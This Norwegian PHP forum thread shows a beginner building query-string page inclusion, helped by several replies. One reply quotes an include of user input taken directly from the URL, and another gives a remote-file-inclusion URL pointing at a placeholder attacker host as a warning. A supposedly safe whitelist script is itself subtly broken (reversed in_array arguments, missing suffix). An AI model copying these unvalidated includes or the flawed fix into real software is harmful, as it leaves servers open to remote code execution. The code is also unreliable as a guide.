Gå til innhold

[løst]kordan lage "index.php?page=3" ?


Gjest Slettet+142

Anbefalte innlegg

Gjest Slettet+142

hei...

 

har sett enkelte steder der URL'en til en side e

"http://§§§§§§.nl/index.php?menu=quicknav&item=search"

kordan får man til dette uten en form?

 

har prøvd

 

Url'en e her "index.php?q=1" :

<?php

$q = $_POST['q'];
$en = "page1.php";
$to = "page2.php";

if ($q==1) {
 echo "Side 1";
 include $en;
} else {
 echo "Side2";
 include $to;
}
?>

 

^-- egentlig skal det være flere, men eg vet ikkje kordan eg legger flere "if'er" til...

 

eg tenker dette e så galt som mulig, så ka kan eg gjøre?

Endret av Slettet+142
Lenke til kommentar
Videoannonse
Annonse

Bare legg nye if-else inni if-else


$q = $_GET['q'];
$x = $_GET['x'];

if($q==1)
{
if($x==1)
{
// q=1 og x=1
}
elseif($x==2)
{
// q=1 og x=2
}
else
{
// kun q har gyldig verdi
}
}
elseif($q==2)
{
if($x==1)
{
// q=2 og x=1
}
elseif($x==2)
{
// q=2 og x=2
}
else
{
// kun q har gyldig verdi
}
}
else
{
 // ingen q
}

Men gjentatte & & osv brukes primært mot databasespørringer, pass på - for mange slike stunt og det blir lite søkemotorvennlig.

Lenke til kommentar
Gjest Slettet+142

ok... takk :)

skal prøve no.... ;)

 

(helt ny i forumet å greier... :p)

 

men eg trenger ikkje en form for å bruke dette sant?

 

koffor kommer denne feilmeldingen opp?

Parse error: parse error, unexpected $ in /mnt/home2/m/ml/mlklan/public_html/valig_php_test_sindrem/new2.php on line 86

 

KODE:

Skjult tekst: (Marker innholdet i feltet for å se teksten):


<?php

/*
--Farger

Rød:	#FF0000
Grønn:	#00FF00
Blå:	#0000FF
Hvit:	#FFFFFF
Svart:	#000000

--Slutt Farger
*/

//URL'er
$t_sok = "sok/sok.php";
$include = "include.php";
$bursdag = "bursdag.php";

//Søk_Torrents
$norbits = "sok/norbits.php";
$acid = "sok/acid.php";

?>
<html>
<head>
<title>Ny side 2</title>
</head>

<body>
<div style="border-style: solid; border-color: #FF0000">
<a href="index.php">hei</a>
</div>

<?php
$q = $_GET['q'];
$x = $_GET['x'];

if($q==1)
{
if($x==1)
{
// q=1 og x=1
echo '<div style="border-style: solid; border-color: #FF0000">';
include '$include';
echo "</div>";
}
 elseif($x==2)
 {
 // q=1 og x=2
 echo '<div style="border-style: solid; border-color: #FF0000">';
 include '$bursdag';
 echo "</div>";
 }
else
{
// kun q har gyldig verdi

}
}
elseif($q==2)
{
if($x==1)
{
// q=2 og x=1

echo '<div style="border-style: solid; border-color: #FF0000">';
include '$norbits';
echo "</div>;
}
 elseif($x==2)
 {
 // q=2 og x=2
 include '$acid';
 }
else
{
// kun q har gyldig verdi
include '$t_sok';
}
}
else
{
// ingen q
}
echo "Hei folkens";
?>
</body></html>

Endret av Slettet+142
Lenke til kommentar

Det må da være mye enklere å bruke en switch case? Skal innrømme at jeg ikke er flink til å bruke det selv, men akkurat her vil jeg ha gjort det.

 

huske ikke helt syntax i hodet men her blir det vel sånn ca:

 

switch ($q){

case 1:
//if logikk for X med include og alt det der
break;

case 2:
//if logikk for X med include og alt det der
break;

case n: 
//osv osv

default:
include "main.php";
}

 

Eller er det sånn at det er begrenset hva man kan eksevere etter en case?

Endret av arnizzz
Lenke til kommentar
Gjest Slettet+142
Det må da være mye enklere å bruke en switch case? Skal innrømme at jeg ikke er flink til å bruke det selv, men akkurat her vil jeg ha gjort det.

 

huske ikke helt syntax i hodet men her blir det vel sånn ca:

 

switch ($q){

case 1:
//if logikk for X med include og alt det der
break;

case 2:
//if logikk for X med include og alt det der
break;

case n: 
//osv osv

default:
include "main.php";
}

 

Eller er det sånn at det er begrenset hva man kan eksevere etter en case?

6139302[/snapback]

...og så må eg innrømme at eg har VEEEELDIG liten peiling på PHP... :ermm:

...og må eg bruke en form for å få dette til?

Endret av Slettet+142
Lenke til kommentar
Gjest Slettet+142

når eg bruker den koden eg fikk av deg, alp_renx (uten form, bare skrevet "index.php?y=1&x=2" i adresse feltet selv) kommer ikkje siden som skal inkluderes opp...

Lenke til kommentar
Gjest Slettet+142
du mener vel q=1&x=2 ?

 

Du skriver også feil i include'n din - skal du inkludere en variabel:

 

FEIL:

include '$bursdag';

 

RIKTIG:

include $bursdag;

6139471[/snapback]

hrm... tror eg skrev y :p

prøver no.. får se ka d blir til...

 

tillegg...:

 

NO e ALT helt PERFEKT !! :):w00t:

Endret av Slettet+142
Lenke til kommentar
Selv om det er ganske sikkert er det jo mye lettere og skrive

 

$q = $_GET["q"];

if(!empty($q)) include("$q.php");

else echo "Du må velge side";

6139326[/snapback]

 

Og så kommer jeg og kjører:

www.dinserver.com/script.php?q=http://www.minserver.com/hackescript.txt?

 

og vips får jeg kjørt all PHP-kode i hackescript.txt på serveren din! :O

Lenke til kommentar

dette er sånn ca. hvordan jeg gjør det:

<?php
$dir = 'include/';
$file_suffix = '.inc.php';
$side = $_GET['side'];
$default = 'forside.inc.php';

$legal_sites = scandir($dir);
$illegal_sites= array('Thumbs.db','.ftpquota','hemmelig_fil.txt');

if(in_array($legal_sites, $side . $file_suffix) && !in_array($illegal_sites, $side . $file_suffix))
   @include($dir . $side);
else
   @include($dir . $default);
?>

Da ville hvertfall ikke ZoRaC's eksempel funka, og brukeren kan kun inkludere filer som finnes i din include-mappe

 

$illegal_sites kan også hentes fra en fil, som er mer praktisk hvis du bruker dette scriptet mange steder.

Endret av JeyKey
Lenke til kommentar

skal man absolutt gjøre det enkelt å inkludere php eller html filer så er jo dette en mulighet også

if(!empty($_GET['html']))
{
$fil = htmlspecialchars($_GET['html']);
$side = "sti/".$fil.".html";
}
elseif(!empty($_GET['php']))
{
$fil = htmlspecialchars($_GET['php']);
$side = "sti/".$fil.".php";
}
else
{
$side = "sti/forside.html";
}

if(file_exists($side))
{
include ($side);
}
else
{
print "Side ikke funnet";
}

 

index.php?html=om <-- inkluderer om.html

index.php?php=om <-- inkluderer om.php

Lenke til kommentar
Gjest Slettet+142

her e koden eg bruker for dette emnet...:

 

Skjult tekst: (Marker innholdet i feltet for å se teksten):


<?php

//variabler
$q = $_GET['q'];
$x = $_GET['x'];
$y = $_GET['q_choice'];

//Sider under "Home"
if($q==1)
{
$title = "Mine første Includes =)";
include $include;
}
if($q==2)
{
$title = "Har nokon bursdag idag?";
include $bursdag;
}
if($q==fjern)
{
include $whitespace;
}
//Torrent Searches
if($x==1)
{
$title = "Søk på $n_norbits";
include $norbits;
}
if($x==2)
{
$title = "Søk på $n_acid";
include $acid;
}
if($x==3)
{
$title = "Søk på $n_elitebytes";
include $elitebytes;
}
if($x==4)
{
$title = "Søk på $n_filemptre";
include $filemptre;
}
if($x==5)
{
$title = "Søk på $n_fileporn";
include $fileporn;
}
if($x==6)
{
$title = "Søk på $n_hdtv";
include $hdtv;
}
if($x==7)
{
$title = "Søk på $n_pornbits";
include $pornbits;
}
if($x==8)
{
$title = "Søk på $n_pussytorrents";
include $pussytorrents;
}
if($x==9)
{
$title = "Søk på $n_sct";
include $sct;
}
if($x==10)
{
$title = "Søk på $n_soft";
include $soft;
}
if($x==11)
{
$title = "Søk på $n_swebits";
include $swebits;
}
if($x==12)
{
$title = "Søk på $n_torrentleech";
include $torrentleech;
}


//FEIL - X --Torrent
if($x==MrT)
{
include $t_sok_form;
echo '<font color="#FF0000">';
echo '<b>';
echo '<br>Feil. Det går ikke an å velge ';
echo $x;
echo '.<br>';
echo '</b>';
echo '</font>';
}
if($x==Velg)
{
include $t_sok_form;
echo '<font color="#FF0000">';
echo '<b>';
echo '<br>Feil. Det går ikke an å velge ';
echo $x;
echo '.<br>';
echo '</b>';
echo '</font>';
}

//Inkluderer $home hvis du velger Home i select'en over.
if($y==1)
{
echo "<hr>";
include $home_exp_en;
}
//Inkluderer $include hvis du velger Include i select'en over.
if($y==incl)
{
include $include;
}
//Inkluderer $bursdag hvis du velger Bursdag i select'en over.
if($y==burs)
{
include $bursdag;
}
//Inkluderer $t_sok_form hvis du velger Torrent i select'en over.
if($y==torrent)
{
include $t_sok_form;
}
if($y==fjern)
{

}
?>

og så har eg en haug med variabler over denne koden... :p

 

(misforsto eg den nye diskusjonen no? :p)

Lenke til kommentar
Gjest Slettet+142
det der er jo grusomt tungvint, og du må i tillegg endre scriptet hver gang du vil ha en ny side. bruk mitt eller alp_renx sitt.

6147988[/snapback]

skulle gjerne, men e ny i PHP og skjøøner ikkje en dritt av de skriptene.... :S

kan noen forklare de to skriptene til meg?

Endret av Slettet+142
Lenke til kommentar

php.net er verdens største online php dokumentasjon, så jeg ville nok lært meg til å like den. Den er forresten veldig brukervennlig, enkel og oversiktlig. Ingenting galt med den.

 

php.net/in_array forteller deg hva funksjonen gjør, hva slags parametere den tar osv. Under følger det noen praktiske eksempler. Du er helt avhengig av å bruke den til litt større prosjekter, du kan ikke huske all verdens funksjoner i hodet.

 

Og her er scriptet mitt med forklaring:

<?php
$dir = 'include/'; // mappen filene ligger i
$file_suffix = '.inc.php'; // Filendelsen filene har
$side = $_GET['side']; // siden du skrev inn i URL'en blir lagt i variabelen $side
$default = 'forside.inc.php'; // Siden som inkluderes hvis ikke $side finnes, eller er tom

$legal_sites = scandir($dir); // lager et array over tillatte fil
$illegal_sites= array('Thumbs.db','.ftpquota','hemmelig_fil.txt'); // det samme med ulovlige filer

if(in_array($legal_sites, $side . $file_suffix) && !in_array($illegal_sites, $side . $file_suffix))
  @include($dir . $side); // inkluderer filen i URL'en hvis den finnes og ikke er i ulovlig-arrayet
else
  @include($dir . $default); // Hvis den ikke finnes, eller $_GET['side'] er tom
?>

 

den koden legger du i index.php der du vil ha den. Så oppretter du en mappe som heter 'include' og legger en haug med filer som har filendelsen .inc.php der. Så er det bare å skrive "index.php?side=navn_på_fil_i_mappen". Du MÅ ha filen forside.inc.php der, den er standardfilen og forsiden.

Endret av JeyKey
Lenke til kommentar
Gjest Slettet+142

skal det være noe "i" .inc.php-filene, eller skal de være tomme?

 

hvis eg no har

 

"include/index.inc.php"

 

-- kan eg vel bare skrive "index.php?side=index" for å inkludere den?

Lenke til kommentar
Gjest
Dette emnet er stengt for flere svar.
  • Hvem er aktive   0 medlemmer

    • Ingen innloggede medlemmer aktive
×
×
  • Opprett ny...